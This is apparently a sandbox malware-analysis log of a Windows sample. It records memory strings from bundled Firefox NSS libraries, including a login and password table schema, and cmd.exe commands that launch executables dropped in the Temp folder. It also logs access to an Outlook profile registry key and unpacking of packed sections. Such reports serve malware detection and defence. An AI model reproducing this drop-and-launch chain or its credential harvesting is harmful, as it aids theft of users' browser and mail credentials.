Source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: file.exe, 00000000.00000003.1707237367.0000000022FF4000.00000004.00000020.00020000.00000000.sdmp, DHIDHIEGIIIECAKEBFBA.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: file.exe, 00000000.00000002.1863090801.0000000061EB7000.00000002.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1854588998.000000001D07F000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3[1].dll.0.dr, softokn3.dll.0.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 55%

Source: GCGCBAECFC.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application
Source: explorti.exe	String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe

File read: C:\Users\user\Desktop\file.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJEHDHIEGI.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe "C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\KJEHDHIEGI.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe "C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Process created: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe "C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe"	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\19a0b0f0ae.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: file.exe

Static file information: File size 2530304 > 1048576

Source: file.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x226800

Source:	Binary string: mozglue.pdbP source: file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: file.exe, 00000000.00000002.1863599412.000000006C82F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: file.exe, 00000000.00000002.1863250028.000000006C66D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.6c0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\GCGCBAECFC.exe	Unpacked PE file: 6.2.GCGCBAECFC.exe.790000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 9.2.explorti.exe.70000.0.unpack :EW;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;kaaoivdf:EW;tgaboymz:EW;.taggant:EW;
